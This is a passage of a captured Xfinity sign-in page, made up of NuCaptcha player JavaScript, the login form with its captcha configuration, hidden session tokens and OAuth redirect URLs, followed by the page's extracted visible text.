null != b && (b.innerHTML = ncLocSecurityText(a[1]))
}
function ncGetDirectionsText() {
var a = "DIRECTIONS",
b = "DIRECTIONS_VERBOSE";
ncPlayerMode == ncPlayerModeAudio && (a += "_AUDIO", b += "_AUDIO");
return [a, b]
}
function ncFilterCmd(a) {
return !0
}
function ncCmdNewChallenge(a) {
!1 !== ncFilterCmd("new-challenge") && (ncIndex++, ncNotifyOpenSkin("EVENT_CMD_NEW_CHALLENGE", ncIndex), ncRefreshScriptPlayer(a))
}
function ncCmdRefresh(a) {
!1 !== ncFilterCmd("refresh") && ncRefreshScriptPlayer(a)
}
function ncCmdReplay(a) {
ncFilterCmd("replay")
}
function ncCmdToggleAudio(a) {
if (!1 !== ncFilterCmd("toggle-audio")) {
var b = ncPlayerModeVideo;
switch (ncPlayerMode) {
case ncPlayerModeAudio:
b = ncPlayerModeVideo;
break;
case ncPlayerModeVideo:
b = ncPlayerModeAudio
}
ncCmdSetPlayerMode(b, a)
}
}
function ncCmdSetPlayerMode(a, b) {
if (!1 !== ncFilterCmd("set-player-mode")) {
switch (a) {
case ncPlayerModeAudio:
case ncPlayerModeVideo:
break;
default:
a = ncPlayerModeVideo
}
ncPlayerMode = a;
if ("undefined" != typeof b) {
ncDomSuffix = b;
var c = ncGetElementValue(ncTokenName);
"" != c && (ncToken = c.split("|")[0]);
ncWidgetElement = ncGetElement(ncWidgetID);
ncWidgetContainerElement = ncGetElement(ncWidgetScriptContainerID)
}
ncPlayerMode == ncPlayerModeAudio ? ncEnterState(ncStateAudio) : ncEnterState(ncStateVideo);
ncNotifyOpenSkin("EVENT_CMD_PLAYER_MODE", ncPlayerMode)
}
}
function ncCmdLeaveAnswerBox(a) {
!1 !== ncFilterCmd("leave-answerbox") && ("undefined" != typeof a && (ncDomSuffix = a), ncGetElement(ncExitTimeID).value = ncGetUnixTime())
}
function ncCmdEnterAnswerBox(a) {
!1 !== ncFilterCmd("enter-answerbox") && ("undefined" != typeof a && (ncDomSuffix = a), "" == ncGetElement(ncEnterTimeID).value && (ncGetElement(ncEnterTimeID).value = ncGetUnixTime()))
}
function ncCmdClickAnswerBox(a) {
ncFilterCmd("click-answerbox")
}
function ncCmdError(a) {
ncWidgetError = a;
ncPlayerType = ncPlayerTypeScript;
ncRefreshScriptPlayer()
}
function ncSetAdservTime(a) {
if ("" == ncAdservTransferTime) {
ncAdservTransferTime = "" + a;
var b = ncGetElement(ncAdservTransferTimeID);
null != b && "" == b.value && (b.value = a)
}
}
function ncSetDownloadTime(a) {
ncNotifyOpenSkin("EVENT_MEDIA_DOWNLOAD_COMPLETE", a)
}
function ncButtonSetState(a, b, c) {
var d = a.className,
d = d.replace(ncButtonStates[b], "");
a.className = d;
c && (c = d.split(" "), c.push(ncButtonStates[b]), a.className = c.join(" "))
}
function ncButtonSetToggleState(a, b) {
var c = a.className,
c = c.replace(ncButtonToggleStates[0 == b ? 1 : 0], "");
a.className = c + " " + ncButtonToggleStates[b]
}
function ncButtonDown(a) {
ncButtonSetState(a, 2, !0)
}
function ncButtonUp(a) {
ncButtonSetState(a, 2, !1);
ncButtonSetState(a, 1, !0)
}
function ncButtonOver(a) {
ncButtonSetState(a, 1, !0)
}
function ncButtonOut(a) {
ncButtonSetState(a, 2, !1);
ncButtonSetState(a, 1, !1)
}
function ncOnGifLoaded() {
ncSetDownloadTime(ncGetTimeMS() - ncLastRenderTime)
}
function ncOnGifError() {
3 > ncGifRetryCount ? (ncGifRetryCount++, ncNotifyOpenSkin("EVENT_MEDIA_DOWNLOAD_RETRY", ncGifRetryCount), ncRefreshScriptPlayer()) : ncNotifyOpenSkin("EVENT_MEDIA_DOWNLOAD_FAILURE", ncGifRetryCount)
}
function ncCallRenderErrorPlayer(a) {
"function" == typeof ncRenderErrorPlayer ? ncRenderErrorPlayer(a) : "object" == typeof console && "function" == typeof console.log && console.log(a)
}
var nucaptcha = {
_i: null,
getInterface: function(a) {
switch (a) {
case 1:
return this._i = this.iv1
}
this._throwError("Invalid interface version " + a)
},
_throwError: function(a) {
throw "NuCaptcha interface error: " + a;
},
_notifyListeners: function(a, b) {
if (null != this._i) switch (a) {
case this._i.EVENT_REFRESH_HTML:
this._i._notifyListeners(a, b)
}
},
iv1: {
PLAYERMODE_AUDIO: "PLAYERMODE_AUDIO",
PLAYERMODE_VIDEO: "PLAYERMODE_VIDEO",
ID_NUCAPTCHA_ANSWER: "nucaptcha-answer",
ID_NUCAPTCHA_MEDIACONTAINER: "media-container",
ID_NUCAPTCHA_MEDIASTATUS: "nucaptcha-media-status",
cmdGetANewChallenge: function() {
ncCmdNewChallenge()
},
cmdRefreshChallenge: function() {
ncCmdRefresh()
},
cmdShowHelp: function() {
ncCmdHelp()
},
cmdReplay: function() {
ncCmdReplay()
},
cmdSetPlayerMode: function(a) {
switch (a) {
case this.PLAYERMODE_VIDEO:
ncCmdSetPlayerMode(ncPlayerModeVideo);
break;
case this.PLAYERMODE_AUDIO:
ncCmdSetPlayerMode(ncPlayerModeAudio);
break;
default:
ncCmdSetPlayerMode(ncPlayerModeVideo)
}
},
cmdTogglePlayerMode: function() {
this.cmdSetPlayerMode(this.getPlayerMode() == this.PLAYERMODE_AUDIO ? this.PLAYERMODE_VIDEO : this.PLAYERMODE_AUDIO)
},
getDirections: function() {
var a = ncGetDirectionsText();
return [ncLocSecurityText(a[0]), ncLocSecurityText(a[1])]
},
getPlayerMode: function() {
switch (ncPlayerMode) {
case ncPlayerModeAudio:
return this.PLAYERMODE_AUDIO
}
return this.PLAYERMODE_VIDEO
},
getMediaSize: function() {
return [ncVideoWidth, ncVideoHeight]
},
getReadyState: function() {
return !0
},
EVENT_REFRESH_HTML: "EVENT_REFRESH_HTML",
EVENT_CMD_NEW_CHALLENGE: "EVENT_CMD_NEW_CHALLENGE",
EVENT_CMD_PLAYER_MODE: "EVENT_CMD_PLAYER_MODE",
EVENT_CMD_HELP: "EVENT_CMD_HELP",
EVENT_MEDIA_DOWNLOAD_COMPLETE: "EVENT_MEDIA_DOWNLOAD_COMPLETE",
EVENT_MEDIA_DOWNLOAD_RETRY: "EVENT_MEDIA_DOWNLOAD_RETRY",
EVENT_MEDIA_DOWNLOAD_FAILURE: "EVENT_MEDIA_DOWNLOAD_FAILURE",
EVENT_MEDIA_DOWNLOAD_WAIT: "EVENT_MEDIA_DOWNLOAD_WAIT",
EVENT_MEDIA_DOWNLOAD_WAIT_TIMEOUT: "EVENT_MEDIA_DOWNLOAD_WAIT_TIMEOUT",
_listeners: [],
addListener: function(a) {
null == a && nucaptcha._throwError("Listener cannot be null");
"function" != typeof a.onNuCaptchaEvent && nucaptcha._throwError("Listener must contain onNuCaptchaEvent method");
this._listeners.push(a)
},
removeListener: function(a) {
for (var b = 0; b < this._listeners.length; b++)
if (this._listeners[b] == a) {
this._listeners.splice(b, 1);
break
}
},
_notifyListeners: function(a, b) {
for (var c = 0; c < this._listeners.length; c++) this._listeners[c].onNuCaptchaEvent(a, b)
}
}
};
</script>
<script type="text/javascript">
ncLoadPlayer({
"challengeBaseUrl": "https:\/\/login.xfinity.com\/proxy\/nudetect\/65786\/w-341498\/captcha",
"token": "1.w-341498.1.2.Axt0ydDuuvbWcaXVMXSWGg,,.DJD5DrNSShI49rnUE9WRFebORj845HsVTVrNX2meo52eO3yJfasR9sHnPfWdsJuV5tn-7F92UZJNhANCkyqJvq-2tWFi2k_BwWKM0IRwWk_lwztvdJH24upNVjFEz1P4j0LOCCKmxGhfulF0lO7tix21pPFmgSIC3Qe0RAOKbSEH-K2A-dp6qAatIF-CIaExg74MhhO6MACMmAMYauuXgnkRZ1I4DzDVoD6q7RzBvQCth4BwPNcbUhpbqz7bzOGQl6yWvAhuri3IILfrMKwCFg4NPGHqfUV0mybim9S4M65EJU7JNUy9-qweUbyBtZdXmiUdTNNYvHzViuOJDo-w0jgh_UlzJm93s_qswAaqQhRJXtThlyclgm6G8-JU8GNh",
"r": "rs-M3GcTSpccUwecwN5xTCXMQxx",
"lang": "eng",
"audioLang": "eng",
"textLevel": 300,
"iis": "",
"videoWidth": "240",
"videoHeight": "60",
"playerMode": "VIDEO",
"enableMediaToggle": true,
"browserName": "Chrome",
"platformName": "Win10",
"answerName": "nucaptcha-answer",
"tokenName": "nucaptcha-token",
"tabIndex": 0,
"enableAudioControls": false,
"autofocusAudioElemID": "",
"displayAudioDownload": true,
"autofillSources": []
});
</script>
</div>
<input type="hidden" id="customer-epd" name="customer-epd"
value="1.w-341498.1.2.MhqNlpirOsJeR5ylJ4d-Jw,,.U02Vcod80akkjTP2su69i1Ms-N3oMTdd5KBgS3gRrV1w6oPw4ZS7Zjl4xf2ub87rUhAc6jcVj3wDVyGU0soEhKcQXnzm8wvVnmOT1frcQR4pq3yal6oUCe3zm40PhxE3l1BynC4u48X6OCmosw69f1bOcRv8JrcJXVLuBsRlTIpVYOA7dwC2eA1Csx7nTbMSFAQ5yD73uRioa9zalFfWodZXw6WDn-pR_G_BuS30_0iKzl8CnWoyS8Z5Sn5mmCRv2lz4AsJwuCbLuXKNmfxHBN5Q-zWEEU83F4pTBEAVRlIrEsrs3JezdDN7HstzGFXGQeDaokXHCUl-YMCliM-6ts0byHMi9M1gFEYJ71l5cSHpsXWvSy61cySa3_xFp0bzKUXxsWTb6KeietxVRZCO0nzZdVMD5uCiovoMtNU40iWrgmDYH7LozGFIdkeBNFpfJU1QRmq1J_klaCKlHCV73AnafLvFiNwHHjpxN41GpaqnsXZd7cEBCQKJFWZImE0If86_Oi1_cFQSoko_Q30qDcKmuFUouhuJ5-UplJWczQLvovakA6Cnta8obFsSQdBfJVKpv4SBd-11h1Ds4V_XHMMXFri_3YNSoH25xV49Jej4NQgYebrXGDAYA9cQGGTbYF_HZwxKeppbjPVvvrbyc1VJs6KyF4exfvucYf3usQFwrAIn94oXKrC66qhV6lOfntICTVdqHpbQNl93KL6p0jR1HnQ1xL03g70dt8lZxHFsD1IStza73YLXQUD3zRrc-sKsFiGeSoHJ2KykKWtYco99jOKegRdimMCvACbi9XfhinNW1rnO2Q3jlf9E18YUNaMiVIfUBtg-KkrMJwJoBHozyq7VyVl0ZnmCzqHeVxJU5z6D8luNrrv7WrJOgjLOrgFFSBACjskI8_u8r--GpY7_i1sIv_X6JAZLybqEnRr11ElmNodENQLP5Hmb0sjuWnvyUdUtNu4sHLTGXa5QSzGfdEya5FnrihP5qUbl-Zt3v5fTMwQLSmkLtlYBPANBX5NBTuDeLfpNt2ennwBJxRFxZ4jmBsrMMCrUVb-baFo6eZPnL-aigx9HUk8qZPLupGvXDNacL7J-sGumpQWXelsqKulcUO683z0oSJVD_RFGtbT87c8ppEPnq3-nutGtjcfdC2pKiaGnqibo91ZCae--tgb_zguMsHtwMkjNfg4SryiG7zr2zPfq-dTO0jKK1VOCoZVzGw0RVkyNgn7U2AAM-dBDuJKlpAeCyeA6gr_fZGm6UKS4oFnSVWUd8iqPFH5ogbixmciTuRr1PGVAzc_Olw5pPOph7rGmT33-0Mnrt4ZkReLMzLVpc4lIOmBpXNkP-0H7PpOWTPMfLm2BtmVG4spsGc4dmJYynADm20_NMAKESI56Nmu_hUQXRphRPjzL5Gk4cW6f_VzGFtZCs0FqReqDyvCNI79P_Pc7k7fzsQSXn_772QFSL6nvEEnKgfKM0X2-vqsoudnHYiBNkF1QSn90NRm5FSpInAfkdvq1EXtRwT71HkzdzgY11-RCIMSY7Qr298JuT-H5jzBo9BuuuXqpJz-OzTh76bAK15gUaI7ByGqJY2-4rnAnRJ3XN0L2hLnnDIJHxrtyKTbEMVlZjA_v7z1JsWP9hVL41UIUsmYv7vOf01RK3xIIdzNWBGwabV6iNebjxpR98RH152_4_x_9tzB_bCqp0AdgXrPVs_tXl4_Ez9DlKqn7pu_WjeZw_DIBZCNEm6YGZ5wM7mIQJoLK12tiuDF1HV7iWm2xiNVQ0IIajqf2mRtQIkRK6kV5qNEgXBNBsq1AsP9H3JFNEzovEX8mYN_xzRUqeWnReG-BZSVVTm7bgqm-F4rkJtFdtdBSC3E_t6jtCuUGhg,,">
</div>
<button class="submit" type="submit" id="sign_in">Sign In</button>
<ul>
<li id="forgot-username-password-item">Forgot
<a href="https://idm.xfinity.com/myaccount/lookup?continue=https%3A%2F%2Flogin.xfinity.com%2Flogin%3FipAddrAuthn%3Dfalse%26passive%3Dfalse%26client_id%3Dmy-account-web%26reqId%3D7d25290a-045a-4e95-87b9-f261acdfd5c7%26r%3Dcomcast.net%26s%3Doauth%26deviceAuthn%3Dfalse%26continue%3Dhttps%253A%252F%252Foauth.xfinity.com%252Foauth%252Fauthorize%253Fclient_id%253Dmy-account-web%2526prompt%253Dlogin%2526redirect_uri%253Dhttps%25253A%25252F%25252Fcustomer.xfinity.com%25252Foauth%25252Fcallback%2526response_type%253Dcode%2526state%253D%252523%25252F%2526response%253D1%26forceAuthn%3D1%26lang%3Den%26rm%3D2%26ui_style%3Dlight&lang=en&ui_style=light" target="_self" title="Lookup User ID">username</a>
or
<a id="forgotPwdLink" href="https://idm.xfinity.com/myaccount/reset?continue=https%3A%2F%2Flogin.xfinity.com%2Flogin%3FipAddrAuthn%3Dfalse%26passive%3Dfalse%26client_id%3Dmy-account-web%26reqId%3D7d25290a-045a-4e95-87b9-f261acdfd5c7%26r%3Dcomcast.net%26s%3Doauth%26deviceAuthn%3Dfalse%26continue%3Dhttps%253A%252F%252Foauth.xfinity.com%252Foauth%252Fauthorize%253Fclient_id%253Dmy-account-web%2526prompt%253Dlogin%2526redirect_uri%253Dhttps%25253A%25252F%25252Fcustomer.xfinity.com%25252Foauth%25252Fcallback%2526response_type%253Dcode%2526state%253D%252523%25252F%2526response%253D1%26forceAuthn%3D1%26lang%3Den%26rm%3D2%26ui_style%3Dlight&lang=en&ui_style=light" target="_self" title="Reset Password">password</a>?
</li>
<li id="create-username-item">Don't have a username?
<span><a href="https://idm.xfinity.com/myaccount/create-uid?continue=https%3A%2F%2Flogin.xfinity.com%2Flogin%3FipAddrAuthn%3Dfalse%26passive%3Dfalse%26client_id%3Dmy-account-web%26reqId%3D7d25290a-045a-4e95-87b9-f261acdfd5c7%26r%3Dcomcast.net%26s%3Doauth%26deviceAuthn%3Dfalse%26continue%3Dhttps%253A%252F%252Foauth.xfinity.com%252Foauth%252Fauthorize%253Fclient_id%253Dmy-account-web%2526prompt%253Dlogin%2526redirect_uri%253Dhttps%25253A%25252F%25252Fcustomer.xfinity.com%25252Foauth%25252Fcallback%2526response_type%253Dcode%2526state%253D%252523%25252F%2526response%253D1%26forceAuthn%3D1%26lang%3Den%26rm%3D2%26ui_style%3Dlight&lang=en&ui_style=light" target="_self">Create one</a></span>
</li>
<li id="quick-bill-pay">
<a href="https://customer.xfinity.com/lite" target="_self">Pay any balance</a> without signing in
</li>
</ul>
<p id="implied-legal">By signing in, you agree to our <a href="http://my.xfinity.com/terms/web/">Terms
of Service</a> and <a href="http://xfinity.comcast.net/privacy/">Privacy Policy</a>.</p>
<input type="hidden" name="r" value="comcast.net">
<input type="hidden" name="s" value="oauth">
<input type="hidden" name="deviceAuthn" value="false">
<input type="hidden" name="continue"
value="https://oauth.xfinity.com/oauth/authorize?client_id=my-account-web&prompt=login&redirect_uri=https%3A%2F%2Fcustomer.xfinity.com%2Foauth%2Fcallback&response_type=code&state=%23%2F&response=1">
<input type="hidden" name="ipAddrAuthn" value="false">
<input type="hidden" name="forceAuthn" value="1">
<input type="hidden" name="lang" value="en">
<input type="hidden" name="passive" value="false">
<input type="hidden" name="client_id" value="my-account-web">
<input type="hidden" name="reqId" value="7d25290a-045a-4e95-87b9-f261acdfd5c7">
</form>
Text Content
SIGN IN TO XFINITY IT'S NOW EASIER TO PAY YOUR BILL ANYTIME, ANYWHERE. Want to pay your outstanding balance without signing in? Try quick bill pay Comcast Business customer? Sign in here Username Password Stay signed in Type the moving characters Get A New Challenge Get An Audio Challenge Help Type the moving characters Sign In * Forgot username or password? * Don't have a username? Create one * Pay any balance without signing in By signing in, you agree to our Terms of Service and Privacy Policy. © 2018 Comcast Terms of Service Privacy Policy Site Map Contact Us Ad Info Ad Feedback WHY STAY SIGNED IN? When you choose this option on sign in, we will remember who you are and keep you signed in for up to 30 days unless you sign out. Please note: If you share your personal computer with others, they could access and make changes to your account. You should definitely not use this option on public computers. We support Ukraine and condemn war. Push Russian government to act against war. Be brave, vocal and show your support to Ukraine. Follow the latest news HERE